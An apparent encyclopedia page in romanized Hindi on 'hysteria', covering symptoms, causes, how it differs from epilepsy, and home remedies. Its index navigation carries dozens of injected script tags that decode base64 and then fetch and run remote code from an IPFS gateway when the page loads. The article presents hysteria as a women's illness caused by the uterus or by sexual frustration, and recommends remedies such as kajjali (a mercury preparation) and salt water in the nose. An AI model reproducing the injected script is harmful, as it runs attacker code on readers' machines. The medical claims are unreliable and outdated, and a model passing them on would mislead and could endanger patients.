हिस्टीरिया

histiriya rog se grasit striyaan|thumb|300px histiriya (aangrezi: Hysteria ; any nam- 'gulm-rog', 'gulyavayu') rog 'nyoorosis' ki hi ek kism hai. isalie ise 'dimagi bimari' kahate haian. histiriya zyadatar striyoan ko hone vala dimagi rog hota hai. isako 'striyoan ka manasik rog' bhi kaha jata hai. yah rog pandrah se bis varsh ki yuvatiyoan mean adhik dikhaee deta hai. histiriya rog mean striyoan ko mirgi ke saman hi behoshi ke daure ate haian. is rog se pi dit rogi kee prakar ki kucheshtaean tatha ajib kary karane lagata hai.

lakshan

jab histiriya hota hai, to isamean rogi achet avastha mean pahuanch jata hai. rog mean sirph rogi ko behoshi ke daure hi nahian p date, balki kabhi-kabhi doosare lakshan bhi samane ate haian, jaise-

histiriya ka daura p dane par kuchh samay ke lie dekhana aur sunana band ho jata hai
muanh se avaz nikalani band ho jati hai
rogi ke hath-pair kaanpane lagate haian
sharir ka koee bhi hissa bilkul sunn p d jata hai, jaisa ki lakave mean hota hai

is rog mean poori tarah se behoshi nahian ati hai. behoshi ki halat samapt ho jane par stri ko khulakar peshab ata hai. rog ki utpatti se poorv ya arambh mean hriday mean pi da, janbhaee, bechaini adi lakshan bhi hote haian. pi dit stri ko saans lene mean kathinaee, sir, pair, pet aur chhati mean dard, gale mean kuchh phans jane ka abhas, sharir ko chhoone matr se hi dard mahasoos hota hai. alasi svabhav, mehanat karane mean bilkul bhi man na karana, rat mean bina bat ke jagana, subah der tak sote rahana, bhram hona, pet mean gola-sa uthakar gale tak jana, dam ghutana, thakavat, gardan ka ak dana, pet mean aphara hona, dakaroan ka adhik ana aur hriday ki dh dakan badh jana, sath hi lakava aur aandhapan ho jana adi histiriya ke lakshan haian. is rog se pi dit stri ko prakash ki or dekhane mean pareshani hone lagati hai. jab stri ko is rog ka daura p data hai to usaka gala sookhane lagata hai aur vah behosh ho jati hai.

rogi ka vyavahar

histiriya rog ke hone par rogi stri ka ji michalane lagata hai. saans kabhi dhire aur kabhi tej chalane lagati hai tatha behoshi chha jati hai. pi dit stri ke hath-pair ak dane lagate haian aur usake chehare ki akriti big dane lagati hai. is rog se pi dit stri apane dimag par kaboo nahian rakh pati aur achanak hansane lagati hai aur achanak hi rone lagati hai. vah bina kisi karan se chillane lagati hai aur koee-koee rogi isamean maun ya chup bhi p da rahata hai. is rog se pi dit striyaan kuchh b dab dane lagati hai aur doosaroan ko marane-pitane lagati hai aur kabhi chikh ke sath zamin par gir jati hai. kabhi baithe-baithe behosh hokar gir p dati hai. rogi stri ko aisa lagata hai ki vah kitani takatavar ho gee hai, lekin doosare hi pal aisa mahasoos hota hai ki usake sharir mean jan hi nahian hai. usako pareshan karane vali dakarean aur hichaki shuroo ho jati hai. avaz mean kharabi paida ho jati hai aur peshab band ho jata hai.

karan

histiriya rog se grasit skool ki l dakiyaan|thumb|250px

histiriya rog kee karanoan ki vajah se hota hai. is rog ka karan adhik chianta aur manasik tanav hai. striyoan ko histiriya ka rog kisi tarah ke sadame, chinta, prem mean asaphalata, manasik du:kh aur kisi du:kh ka gahara aghat hone se adhik hota hai. striyoan ki yaun-uttejana badhane ke karan bhi histiriya rog ke lakshan paida ho jaya karate haian. bahut-si striyoan ko 'jarayu'^[1] mean vikar ya garbhashay ya dimbakosh mean g dab di hone ke karan bhi histiriya rog ho jaya karata hai. snayu-mandal ki kriya mean kisi tarah ke vikar^[2] utpann hone ke karan se bhi yah rog ho sakata hai. kisi tarah ke apane manobhavoan ko vyakt n kar pane ke karan bhi yah 'gulmavayu' ya histiriya rog ho jata hai.

masik srav ka sahi samay par n hona, masik srav hone ke samay bahut adhik dard hona, vivah ke lie umr ho jane par bhi yuvati ki shadi n hone par, seks kriya karate samay poori tarah se santusht n hone par, yoni aur garbhashay ke aandar soojan adi ke rog hone se tatha dar, dimagi aghat, shok aur sharir ki kamazori ki vajah se bhi histiriya ka rog adhikatar striyoan ko ho jata hai. yah rog un striyoan ko bhi ho jata ho, jo vidhava ho jati haian tatha un shadishuda striyoan ko bhi yah rog ho jata hai jinake pati videsh chale jate haian.

agar rogi ke sath koee b di durghatana huee hai aur vah use bhulane ki koshish kar raha ho, par n bhula pae to bhi use histiriya ka rog ho sakata hai. agar kisi yuvati ko sanbhog karane ki ichchha hoti hai aur bar-bar kisi karan se use apani is ichchha ko dabana p data ho tatha jinaki sanbhog^[3] ke prati ichchha poorn nahian hoti hai aur vah hinabhavana se grast ho jati hai to use histiriya ka rog ho sakata hai. histiriya rog doosare kee rogoan ke ke karan bhi ho sakata hai, jaise- kabj banana, masik dharm sanbandhi koee adi. isake alava vaivahik jivan mean pati-patni ke bich aksar nok-jhoank lagi rahana bhi histiriya rog ka karan ho sakata hai tatha jo apane pati se kalesh ya napharat karati hai.

histiriya aur mirgi mean aantar

aksar log histiriya aur mirgi ke daure mean antar nahian samajh pate. mirgi ke daure mean rogi ko achanak daura p data hai, rogi kahian par bhi raste mean, bas mean, ghar par gir jata hai. usake daant bhianch jate haian, jisase usake hoth aur jibh bhi daantoan mean a jate haian. jabaki histiriya rog me aisa nahian hota hai. rogi ko histiriya ka daura p dane se pahale hi mahasoos ho jata hai aur vo koee surakshit-sa sthan dekhakar vahaan par let sakata hai. usake daant bhichane par hoth aur jibh daantoan ke bich mean nahian ati. par hath-pairoan ka ak dana donoan hi mean ek hi jaisa hota hai; lekin mirgi ke daure ka samay nishchit nahian hota.

histiriya mean samay kam ya zyada ho sakata hai. is rog ke lakshan bhi badalate rahate haian. histiriya ke rogi ko amoniya adi suanghane par daura khulakar dubara bhi a sakata hai. rogi ko daura ane par zyada pareshan karana ya chhe dana thik nahian hai. yah daura khulakar dobara bhi a sakata hai. daura p dane par rogi ke kap de dhile kar dene chahie aur usake sharir ko hava lagane dena chahie. jaise-jaise daura khatm hoga to rogi khud hi dhire-dhire kh da ho jaega. kamazori mahasoos hone par rogi ko garm chay ya k aaufi pila sakate haian. par ye ilaj kuchh samay ke lie hi hota hai. histiriya ke rogi ko dimag ke d aauktar ke pas le jana chahie. bahut-se log histiriya ke daure ko bhoot-pret ka mamala manate haian, par isake pichhe bhi dimagi karan aksar ek hi jaise hote haian aur tantrikoan ke dvara jo chikitsa ki jati hai, vah bhi kuchh samay ke lie hi hoti hai. par bhoot-pret vali sthiti ko bhi ham histiriya rog ke mamale mean keval aandhavishvas ya jhooth nahian man sakate. rogi in lakshanoan ko dekhakar kahian se sujhav ke roop mean apana leta hai.

janakari

histiriya rog se grasit adami|thumb|200px kuchh log sochate haian ki striyoan ke man mean yaun bhavana ko dabane ke karan histiriya rog ho jata hai, par ye bilkul galat hai. mana ye ek dabav ho sakata hai, par bahut sare dabavoan mean se ek. keval yaun bhavana ko daba dena histiriya ke rogiyoan ke lie sahi bat nahian hogi. isaki vajah se unhean galat samajh liya jaega, jisase unako manasik taur par kafi pareshani sahani p dati hai, jisake karan unaka rog aur bhi badh sakata hai. histiriya rog mean rogi ke man me koee dabi huee ichchha rah sakati hai, jise na to rogi kisi ko bata sakata hai aur na hi man me daba sakata hai. agar bachche ko apane maan-bap se koee shikayat hai to na to vah apane maan-bap se bolakar bat manava sakate haian aur na hi unase kuchh kah sakate haian, par ve is bat ke dabav mean akar histiriya rog ke shikar ho jate haian.

aise hi ek pati-patni ki apas mean banati nahian hai to patni na to apane pati ko samaj ke mare chho d sakati hai aur na hi use kuchh kah sakati hai. isi karan vah man hi man mean kudhate hue histiriya rog ki shikar ho sakati hai. jahaan bimari ke bahane usaka baichen man ek or to usake pati se badala lene lagata hai, doosari or khud hi usake man ko rahat milane lagati hai. baichen man ki ye dabi huee ichchha usako poori tarah yaun santushti na milane ke karan bhi ho sakati hai aur ise lekar man ki aparadhi bhavana bhi ki use ye ichchha satati hi kyoan hai, vah to yah chahati hi nahian. is tarah bhavishy mean kuchh banana, kabil vyakti ko ooancha uthane ki lalasa, jab poori nahian ho pati to arthik samajik sthitiyaan ya karttavy ki koee avaz unhean rokati hai aur aise vyakti manasik roop se is badha ya abhav ko svikar bhi nahian kar pate to avachetan ko mauqa milata hai kisi doosare raste se is dabi ichchha ya bhavana ko nikalane ka.

is tarah rogi ko dimagi roop se bimari ke do apratyaksh labh milate haian. ek maian bimar hooan, isalie maian ye kam nahian kar sakata. yah santosh prathamik labh hai tatha is madhyam se rogi ko agar kuchh sahanabhooti milane lagati hai to ye doosare darje ka labh hai. is labh ko lene baichen man is or chal p data hai aur histiriya apane vividh lakshanoan aur roopoan me prakat hone lagata hai. behoshi ke sadharan daure p date haian, isalie sharir ke kisi khas aang mean koee kamazori mahasoos hoti hai. rogi apani pahale ki kamazori se, pahale ki kalpana se jo dakar aur kisi ko dekhakar avachetan roop se sujhav grahan kar vaise hi karane lagata hai. jaise aankh agar pahale kamazor hai aur rogi ko isaka ahasas hai, tabhi vah aankh se na dikhaee dene ka sujhav grahan karega aur tab sachamuch use aandhepan ka ehasas hoga. isi tarah man ki kamazori rahane par kisi tarah ke manasik aghat se bolane ya hath-pair hilane ki takat kuchh samay ke lie rook sakati hai. agar sharir ke aise lakshan jaanch mean nahian milate to use histiriya rog kahate haian. ye sthiti kuchh samay ke lie hi hoti hai. par agar samay rahate ilaj na kiya jae to ye kanpan, lakava jaise lakshan kabhi-kabhi hamesha ke lakshanoan mean badal sakate haian. isalie is rog ka ilaj karavane ke bad rogi ko dimagi d aauktar ki dekharekh mean poora ilaj karavana chahie.

prakritik chikitsa

kisi stri mean histiriya rog ke lakshan nazar ate hi use turant kisi manochikitsak se is rog ka ilaj karana chahie.
histiriya ke rogi ko gusse mean ya kisi aur karan se marana nahian chahie, kyoanki isase use aur zyada manasik aur sharirik kasht ho sakate haian.
ek bat ka khasataur par dhyan rakhana chahie ki histiriya rogi apane apako kisi tarah ka nukasan na pahuancha pae.
is rog ke rogi ki sabase achchhi chikitsa usaki ichchhaoan ko poora karana tatha use santushti dena hai. isake alava rogi ko shaant vatavaran mean ghoomana chahie. rogi ke samane aisi koee bat nahian karani chahie, jisasean use chinta sataye.
is rog se pi dit striyoan ko jab daura p data hai to usake sharir ke sare kap de dhile kar dene chahie tatha use khuli jagah par litana chahie aur usake hath aur talavoan ko masalana chahie.
jab rog se pi dit rogi behosh ho jae to usake aangoothe ke nakhoon mean apane nakhoon ko chubhokar usaki behoshi ko door karana chahie aur phir usake chehare par thande pani ke chhiante marane chahie. isase rogi stri ko hosh a jata hai aur usaka behoshipan door ho jata hai.
jab rogi stri behosh ho jati hai to hiang tatha pyaj ko katakar suanghane se labh milata hai.
behosh hone vali stri ko hosh mean lane ke lie sabase pahale rogi ki nak mean namak mila hua pani dal dean. isase behosh rog thik ho jaega, lekin yah upay shighr hi aur kuchh hi samay ke lie hai. isaka achchhi tarah se ilaj to apane daktar ya apane vaidy se hi karana chahie.
histiriya rog se pi dit stri ka ilaj karane ke lie kuchh dinoan tak use phal tatha bina paka hue bhojan khilana chahie. is rog se pi dit rogi ke lie jamun ka sevan bahut hi labhadayak hota hai. isalie rogi stri ko pratidin jamun khilana chahie.
yadi is rog se pi dit stri pratidin ek chammach shahad ko subah-dopahar-sham chate to usaka yah rog kuchh hi dinoan mean thik ho jata hai.
kesar, kajjali, bahe da, kastoori, chhoti ilayachi, jayaphal aur lauang ko barabar matra mean milakar sat din tak sauanph ke kadhe mean milakar aur ghotakar taiyar kar lean. isake bad is mishran ko taiyar karake ilayachi ke dane ke barabar ki goliyaan bana lean. 4-4 gram moosali saphed tatha sauanph ke kadhe se subah aur sham sevan karana chahie. agar masik srav ke samay mean koee kami ho to sabase pahale oopar bataee gee dava se ilaj karean.
yah rog kee bar rakt ki kami ke ho jane ke karan se bhi jata hai. histiriya rog ke hone par rogi stri ko lagabhag ek gram ke chauthaee bhag ke barabar loh bhasm ko ek chammach ke barabar shahad mean milakar subah aur sham ke samay mean chata dean aur phir oopar se 10-12 gram makkhan tatha malaee ke sath khila dean. isake sath dal, roti, doodh, malaee, ghi ka istemal kar sakate haian.
histiriya ki rogi stri ko kuchh din ke lie kisi thande sthan par le jana achchha hota hai.
yah rog aksar zyada peshab karane se kam ho jata hai. isalie is rog ki stri ko bar-bar pani pina chahie aur peshab karane ki koshish karani chahie.
is rog se pi dit rogi ko sakaratmak soch rakhani chahie, tabhi yah rog poori tarah se thik ho sakata hai. is rog ko thik karane ke lie striyoan ko yoganidra ka abhyas karana chahie.
histiriya rog ko thik karane ke lie striyoan ko pratidin thande pani se snan karana chahie tatha isake bad vayu snan aur phir dhoopasnan^[4] karana chahie.
is rog ko thik karane ke lie kee prakar ke asan haian, jinako pratidin karane se yah rog kuchh dinoan mean hi thik ho jata hai. ye asan is prakar haian- ta dasan, garbhasan, uttanapadasan, gorakshasan, konasan, bhuangagasan, shavasan, padmasan, sianhasan tatha vajrasan adi.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ garbhavastha
↑ snayuvik kamazori
↑ seks ki ichchha poori nahian hoti
↑ dhoop mean sharir ki siankaee karana

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] rbhavastha

[2] snayuvik kamazori

[3] seks ki ichchha poori nahian hoti

[4] sharir ki siankaee karana

[1]

[2]

[3]

[4]